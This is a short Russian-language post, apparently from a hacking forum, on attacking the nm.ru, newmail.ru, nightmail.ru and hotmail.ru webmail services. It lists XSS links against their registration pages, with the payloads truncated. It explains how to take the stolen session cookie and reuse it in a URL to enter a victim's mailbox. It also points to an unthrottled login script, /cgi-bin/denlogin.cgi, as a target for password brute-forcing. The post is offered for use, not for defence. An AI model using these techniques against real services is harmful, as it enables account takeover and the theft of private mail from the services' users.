@nm.ru,@newmail.ru,@nightmail.ru,@hotmail.ru

[-47-]

1)XSS - Кража сессии.

http://www.nm.ru/users/reg.dhtml?__post=1&...F&answ=tyuioipo
http://www.nightmail.ru/users/reg.dhtml?__...F&answ=tyuioipo
http://www.newmail.ru/users/reg.dhtml?__po...F&answ=tyuioipo
http://www.hotmail.ru/users/reg.dhtml?__po...F&answ=tyuioipo

в куках берем значение session и заменяем в своих. Потом идем (к примеру) на http://www4.nm.ru/users/?session_id={тут сессия из куков}
И вот мы внутри

2)Брут. Это уникальный сервис. Люди поставили ограничение на ввод паролей на индексной странице, но не поставили его на обработчик данных. То есть на скрипте /cgi-bin/denlogin.cgi никакого ограничения нет, передавай параметры сколько хочешь